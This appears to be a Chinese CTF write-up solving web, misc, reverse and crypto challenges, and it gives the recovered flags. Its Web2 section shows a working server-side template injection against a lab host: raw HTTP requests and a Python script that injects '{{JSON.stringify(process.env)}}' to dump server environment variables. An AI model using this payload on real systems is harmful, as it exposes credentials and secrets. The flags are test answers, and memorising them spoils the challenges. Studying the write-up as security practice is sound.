Web1 神探狄仁杰

第一部分

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

第二部分

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

第三部分

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

拼凑起来

ZmxhZ3s1ZDE2YTM3Y2NkYjZlNTU0OWNjMzgyOTU0ZH0=

Base64解码,得到flag

flag{5d16a37ccdb6e5549cc382954d}

Web2

Basket功能显示。403
![[Pasted image 20251019182340.png]]
我们可以购买导航到 Our services
![[Pasted image 20251019182539.png]]
如果我们购买任何商品并返回,我们会看到它显示价格和详细信息。 baske
![[Pasted image 20251019182622.png]]

我们看到它显示了购买服务的价格和数量。它还会在每次刷新时生成新的比特币地址。请求如下所示。

Buy

POST /buy HTTP/1.1
Host: 111.74.9.131:10115
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 29
Origin: http://111.74.9.131:10115
DNT: 1
Connection: close
Referer: http://111.74.9.131:10115/services/malware
id=2&type=malware&price=0.053

尝试 SSTI 尝试成功输入

POST /buy HTTP/1.1
Host: 111.74.9.131:10115
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 27
Origin: http://111.74.9.131:10115
DNT: 1
Connection: close
Referer: http://111.74.9.131:10115/services/ddos
Cookie:
basket=eyJwdXJjaGFzZXMiOnsiMCI6eyJ0eXBlIjoibWFsd2FyZSIsImlkIjoyLCJwcmljZSI6IjAuMD
UzIn19fQ%3D%3D
id=1&type=ddos&price={7*7}

![[Pasted image 20251019182752.png]]

查看响应标头,我们看到服务器是使用 NodeJS Express 框架托管的。

HTTP/1.1 200 OK
X-Powered-By: Express
Set-Cookie:
basket=eyJwdXJjaGFzZXMiOnsiMCI6eyJ0eXBlIjoibWFsd2FyZSIsImlkIjoyLCJwcmljZSI6IjAuMD
UzIn19fQ%3D%3D; Max-Age=900; Path=/; Expires=Mon, 26 Apr 2021 05:23:06 GMT;
HttpOnly
Content-Type: text/html; charset=utf-8
Content-Length: 17
ETag: W/"11-KLSLPG1b7/ut5NWgA8Up/1GscNo"
Date: Mon, 26 Apr 2021 05:08:06 GMT
Connection: close
{"ok":"Success."}

我们可以尝试与 Jade 或 Handlerbars 模板引擎相关的有效负载。我写了一个简单的 python 脚本来注入。

import re

import sys

import requests

r = requests.post('http://111.74.9.131:10115/buy', data=

{'id':'1',"type":'malware',"price":sys.argv[1]})

c = r.headers['Set-Cookie'].split('=')[1].split(';')[0]

r = requests.get('http://111.74.9.131:10115/basket', cookies={'basket':c})

print(re.findall(r'Total:.*',r.text)[0])

使用参数运行此脚本会给我输出。python task.py {{this}}
![[Pasted image 20251019182941.png]]

然后输入参数找到flag python task.py '{{JSON.stringify(process.env)}}
![[Pasted image 20251019183002.png]]

flag{f3fecff7-ff06-497f-860d-402fefcbe5b6}

Misc1

246ovpbPKhPjC5yz37WQaikoHDmuzENX2VqAer8

为base58编码,解出得到flag

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

flag{W31c0me_t0_zxb_xxaqgly}

Msic2

stegsolve,lsb,rgb,导出通道1,然后hex解码就行了

666C61677B30353963376562613466336634353166623566347D

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

flag {059c7eba4f3f451fb5f4}

Reverse1

cipher = "AZFXK}qyuc_ge_ogwatxr_uhgzxpua_ktukKQErh{"

key_seq = [1,2,3,4,5,6,7]

plain = []

for i, c in enumerate(cipher):

    k = key_seq[i % 7]

    if c == '{':

        plain.append('}')

    elif c == '}':

        plain.append('{')

    elif 'A' <= c <= 'Z':

        tmp = ord(c)

        while tmp - k < ord('A'):

            tmp += 26

        plain.append(chr(tmp - k))

    elif 'a' <= c <= 'z':

        tmp = ord(c)

        while tmp - k < ord('a'):

            tmp += 26

        plain.append(chr(tmp - k))

    else:

        plain.append(c)

result = ''.join(plain)

print(result)
ZXCTF{jxsz_by_network_security_goodJOBnc}

Crypto1

oclz{loovyd_vb_l_bvnucd_hqpumj} //(11x + 11) mod 26

从题目来看,这应该是一道基于仿射密码的 CTF 密码题,其中oclz{loovyd_vb_l_bvnucd_hqpumj}是密文,(11x + 11) mod 26是加密函数(假设 x 代表明文对应的字母序号,如 A=0、B=1……Z=25)。解题步骤如下:

  1. 明确仿射密码的加密与解密原理

仿射密码的加密公式为:c ≡ (a*x + b) mod m其中:

x是明文(0-25,对应 A-Z),c是密文(0-25),m=26(字母表长度),a和b是加密密钥。

本题中加密函数为(11x + 11) mod 26,即a=11,b=11,m=26。

解密需要先求a在模m下的逆元a⁻¹(满足aa⁻¹ ≡ 1 mod m),再用解密公式:x ≡ a⁻¹(c - b) mod 26

  1. 求a=11在模 26 下的逆元

需要找到整数a⁻¹,使得11a⁻¹ ≡ 1 mod 26。通过尝试或扩展欧几里得算法计算:1119 = 209,209 mod 26 = 1(因为 26*8=208,209-208=1),因此 a⁻¹=19

  1. 推导解密公式

将a⁻¹=19,b=11代入解密公式:x ≡ 19*(c - 11) mod 26

  1. 对密文进行解密

密文为oclz{loovyd_vb_l_bvnucd_hqpumj},先忽略特殊字符({、}、_),按字母顺序解密,步骤如下:

每个字母转换为对应的密文序号c(a=0, b=1, …, z=25);

代入解密公式计算x,再转换回字母。

flag为flag{affine_is_a_simple_crypto}
Logo

北京人形旗下天工造物具身智能开源社区,聚焦具身天工与慧思开物两大平台

更多推荐